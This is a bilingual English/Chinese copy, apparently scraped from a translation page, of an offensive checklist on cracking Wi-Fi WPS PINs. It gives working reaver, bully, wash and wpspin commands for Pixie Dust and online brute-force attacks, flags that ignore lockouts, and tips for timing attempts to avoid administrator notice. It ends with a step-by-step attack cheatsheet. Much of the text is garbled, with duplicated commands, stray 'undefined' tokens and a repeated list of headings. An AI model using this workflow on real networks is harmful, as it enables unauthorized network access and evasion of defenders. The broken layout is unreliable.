WPS PIN Attacks

WPS PIN 攻击

WPS converts an 8-digit PIN into the network PSK via the M3/M4 message exchange. The PIN is split into 4-digit + 3-digit halves (the 8th digit is a checksum), giving only 11,000 effective combinations — and on vulnerable chipsets, the offline Pixie Dust attack recovers the PIN in seconds without ever sending an online attempt.

WPS 通过 M3/M4 消息交换将 8 位 PIN 转换为网络 PSK。PIN 分为 4 位 + 3 位两半（第 8 位为校验位），因此实际上只有 11,000 种组合——而在存在漏洞的芯片组上，离线 Pixie Dust 攻击可在数秒内恢复 PIN，完全无需发送在线尝试。

Quick Workflow

快速工作流

Detect WPS-enabled APs (look for the WPS IE in beacons)
Try Pixie Dust first — offline, undetectable, instantaneous when it works
If chipset isn't vulnerable, check whether online brute is feasible (lockout policy)
Online brute as last resort, slow and detectable

检测启用 WPS 的 AP（在 beacon 中查找 WPS IE）
优先尝试 Pixie Dust——离线、难以检测，奏效时几乎即时完成
如果芯片组不易受攻击，检查在线暴力破解是否可行（锁定策略）
将在线暴力破解作为最后手段，速度慢且容易被检测

Detection

检测

bash

undefined

bash

undefined

wash — dedicated WPS scanner

sudo wash -i wlan0mon

Or use airodump-ng with WPS column

sudo airodump-ng wlan0mon --wps


Output includes: WPS version (1.0 / 2.0), Locked status, Configured/Unconfigured, vendor.

WPS 2.0 introduced lockout enforcement, but many consumer APs still implement it as "lock for 60 seconds after 3 failures" — easily bypassed by waiting.

sudo airodump-ng wlan0mon --wps


输出包含：WPS 版本（1.0 / 2.0）、锁定状态、已配置/未配置、厂商。

WPS 2.0 引入了锁定机制，但许多消费级 AP 仍将其实现为“失败 3 次后锁定 60 秒”——只需等待即可轻松绕过。

Pixie Dust (Offline)

Pixie Dust（离线）

The Pixie Dust attack exploits weak nonce generation in WPS-implementing chipsets. The attack captures one full WPS handshake (M1-M4) and then offline-computes the PIN.

bash

undefined

Pixie Dust 攻击利用 WPS 实现芯片组在 nonce 生成方面的弱点。攻击会捕获一次完整的 WPS 握手（M1-M4），随后离线计算 PIN。

bash

undefined

reaver with Pixie Dust mode

sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vvv

bully alternative

sudo bully -b AA:BB:CC:DD:EE:FF -d -v 3 wlan0mon


| Chipset | Vulnerable? |
|---|---|
| Ralink (RT chipsets) | Yes — most older D-Link, TP-Link, Edimax |
| Realtek (RTL8xxx) | Yes — many TRENDnet, Belkin |
| Broadcom (older firmware) | Often yes — specific model + firmware revs |
| MediaTek (specific revs) | Mixed |
| Atheros | Mostly patched |

When successful:

[Pixie-Dust] WPS PIN: 12345670 [Pixie-Dust] WPA PSK: ActualPasswordHere [Pixie-Dust] AP SSID: HomeWiFi


The PIN gives you the PSK directly via the M7 message — no PSK cracking needed.

sudo bully -b AA:BB:CC:DD:EE:FF -d -v 3 wlan0mon


| 芯片组 | 是否存在漏洞？ |
|---|---|
| Ralink（RT 芯片组） | 是——大多数老旧的 D-Link、TP-Link、Edimax 设备 |
| Realtek（RTL8xxx） | 是——许多 TRENDnet、Belkin 设备 |
| Broadcom（旧版固件） | 通常存在——取决于具体型号和固件修订版本 |
| MediaTek（特定修订版本） | 视情况而定 |
| Atheros | 大多已修补 |

成功时：

[Pixie-Dust] WPS PIN: 12345670 [Pixie-Dust] WPA PSK: ActualPasswordHere [Pixie-Dust] AP SSID: HomeWiFi


通过 M7 消息可以直接从 PIN 得到 PSK——无需破解 PSK。

Online PIN Brute-Force

在线 PIN 暴力破解

When Pixie Dust fails, online brute is the fallback. Send EAPOL-Start → M1 → M2 → M3 attempts with successive PINs.

bash

undefined

当 Pixie Dust 失败时，可以使用在线暴力破解作为后备方案。按顺序的 PIN 尝试将发送 EAPOL-Start → M1 → M2 → M3。

bash

undefined

reaver online mode (default)

sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF
-L -N -d 15 -t 30 -T .5 -r 3:30 -vv

Flags:

-L : ignore failed lockouts

-N : don't send NACK packets

-d 15 : 15-second delay between attempts

-t 30 : timeout

-T .5 : timeout for receiving M5/M7

-r 3:30 : pause 30s every 3 attempts

undefined

undefined

Lockout Handling

锁定策略处理

Most modern APs lock WPS after a few failed PINs. Detect lockout:

AP stops responding to EAPOL-Start
WPS
```
Locked
```
flag in beacon switches to
```
Yes
```

Strategies:

Wait it out: many APs auto-unlock after 60–600 seconds. Set
```
-r
```
accordingly.
Reboot the AP: physically resets state. Only works if you have authorization for that disruption.
Spread attempts across time of day: low-traffic windows to avoid coincident legitimate WPS use that triggers admin attention.

大多数现代 AP 会在若干次 PIN 尝试失败后锁定 WPS。检测锁定状态：

AP 停止响应 EAPOL-Start
beacon 中的 WPS
```
Locked
```
标记切换为
```
Yes
```

应对策略：

等待解除：许多 AP 会在 60–600 秒后自动解锁。相应设置
```
-r
```
参数。
重启 AP：物理上重置其状态。仅在你获得授权并允许此类中断时使用。
将尝试分散到一天中的不同时段：利用低流量时段，以避免与合法 WPS 使用同时发生而引起管理员注意。

Time Estimate

时间估算

11,000 attempts × (delay + timeout) ≈ best case 4 hours, realistic 12–24 hours
Lockout multiplier: 5–20x depending on policy
Pixie Dust beats this by minutes when vulnerable. Always try first.

11,000 次尝试 ×（延迟 + 超时）≈ 最佳情况 4 小时，现实情况 12–24 小时
锁定倍数：根据策略不同为 5–20 倍
当存在漏洞时，Pixie Dust 可快上数分钟。 始终优先尝试。

Push-Button (PBC) Method

按键配对（PBC）方法

WPS PBC opens a 120-second window after the user presses the button on the AP. During this window any client requesting WPS is paired without PIN.

Attack viability:

Practically: requires either physical access to push the button (= you've already won) or social engineering ("the IT guy will press the button at 14:00")
Some buggy APs have a permanent PBC window — test by sending PBC association

bash

undefined

用户在 AP 上按下按钮后，WPS PBC 会打开一个 120 秒的窗口。在此窗口内，任何请求 WPS 的客户端都可以在无需 PIN 的情况下完成配对。

攻击可行性：

实际情况：需要能够物理接触设备并按下按钮（= 攻击其实已经成功），或者使用社会工程手段（“IT 人员会在 14:00 按下按钮”）
一些存在缺陷的 AP 有永久性 PBC 窗口——可通过发送 PBC 关联请求进行测试

bash

undefined

Trigger PBC pairing attempt

sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p '00000000' -P

undefined

sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p '00000000' -P

undefined

PIN-Default Patterns

默认 PIN 模式

Some vendors derive the WPS PIN from MAC + serial. With known algorithms:

bash

undefined

一些厂商会根据 MAC 地址 + 序列号推导 WPS PIN。使用已知算法：

bash

undefined

wpscalc / WPSPIN — calculate likely PINs from BSSID

wpspin --bssid AA:BB:CC:DD:EE:FF

Outputs candidate PINs to try first before brute


Hit rate is high on certain Belkin, ZyXEL, and Linksys models.


在某些 Belkin、ZyXEL 和 Linksys 型号上的命中率很高。

Detection Considerations

检测考虑事项

Signal	Defender View
Reaver/bully traffic pattern	WIPS rule: rapid WPS exchange attempts
PIN failures spike	WPS `Locked` flag flip
Vendor PSK leaked offline	Undetectable — Pixie Dust is offline
Consumer admin interface	"WPS attempt" might log if AP has audit features (rare)

Pixie Dust against a vulnerable chipset is essentially undetectable from the wire perspective — only one WPS exchange happens, identical to a legitimate client.

信号	防御方视角
Reaver/bully 流量模式	WIPS 规则：快速的 WPS 交换尝试
PIN 失败次数激增	WPS `Locked` 标记发生切换
厂商 PSK 被离线获取	无法检测——Pixie Dust 是离线攻击
消费级管理界面	如果 AP 具备审计功能（少见），可能会记录“WPS 尝试”

从网络流量角度看，针对存在漏洞的芯片组的 Pixie Dust 攻击基本无法被检测——只会发生一次 WPS 交换，与合法客户端完全相同。

Engagement Cheatsheet

渗透测试速查表

bash

undefined

bash

undefined

1. Setup

sudo airmon-ng check kill && sudo airmon-ng start wlan0

2. Find WPS APs

sudo wash -i wlan0mon

3. Pixie Dust first

sudo reaver -i wlan0mon -b <BSSID> -K 1 -vvv

4. If Pixie Dust fails, try vendor-specific PIN candidates

wpspin --bssid <BSSID> | head -10

5. Online brute as last resort

sudo reaver -i wlan0mon -b <BSSID> -L -N -d 15 -t 30 -r 3:30 -vv

6. Once PIN known, derive PSK from M7 message

(reaver does this automatically; bully prints PSK on success)

---

---

Key References

关键参考资料

pixiewps: github.com/wiire-a/pixiewps
reaver: github.com/t6x/reaver-wps-fork-t6x
bully: github.com/aanarchyy/bully
WPS 2.0 spec (Wi-Fi Alliance)
"Pixie Dust Attack" (Bongard, 2014) — original disclosure
Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md

pixiewps：github.com/wiire-a/pixiewps
reaver：github.com/t6x/reaver-wps-fork-t6x
bully：github.com/aanarchyy/bully
WPS 2.0 规范（Wi-Fi Alliance）
“Pixie Dust Attack”（Bongard，2014）——首次披露
来源：https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md

offensive-wps

Original

Translation

WPS PIN Attacks

WPS PIN 攻击

Quick Workflow

快速工作流

Detection

检测

wash — dedicated WPS scanner

wash — dedicated WPS scanner

Or use airodump-ng with WPS column

Or use airodump-ng with WPS column

Pixie Dust (Offline)

Pixie Dust（离线）

reaver with Pixie Dust mode

reaver with Pixie Dust mode

bully alternative

bully alternative

Online PIN Brute-Force

在线 PIN 暴力破解

reaver online mode (default)

reaver online mode (default)

Flags:

Flags:

-L : ignore failed lockouts

-L : ignore failed lockouts

-N : don't send NACK packets

-N : don't send NACK packets

-d 15 : 15-second delay between attempts

-d 15 : 15-second delay between attempts

-t 30 : timeout

-t 30 : timeout

-T .5 : timeout for receiving M5/M7

-T .5 : timeout for receiving M5/M7

-r 3:30 : pause 30s every 3 attempts

-r 3:30 : pause 30s every 3 attempts

Lockout Handling

锁定策略处理

Time Estimate

时间估算

Push-Button (PBC) Method

按键配对（PBC）方法

Trigger PBC pairing attempt

Trigger PBC pairing attempt

PIN-Default Patterns

默认 PIN 模式

wpscalc / WPSPIN — calculate likely PINs from BSSID

wpscalc / WPSPIN — calculate likely PINs from BSSID

Outputs candidate PINs to try first before brute

Outputs candidate PINs to try first before brute

Detection Considerations

检测考虑事项

Engagement Cheatsheet

渗透测试速查表

1. Setup

1. Setup

2. Find WPS APs

2. Find WPS APs

3. Pixie Dust first

3. Pixie Dust first

4. If Pixie Dust fails, try vendor-specific PIN candidates

4. If Pixie Dust fails, try vendor-specific PIN candidates

5. Online brute as last resort

5. Online brute as last resort

6. Once PIN known, derive PSK from M7 message

6. Once PIN known, derive PSK from M7 message

(reaver does this automatically; bully prints PSK on success)

(reaver does this automatically; bully prints PSK on success)

Key References

关键参考资料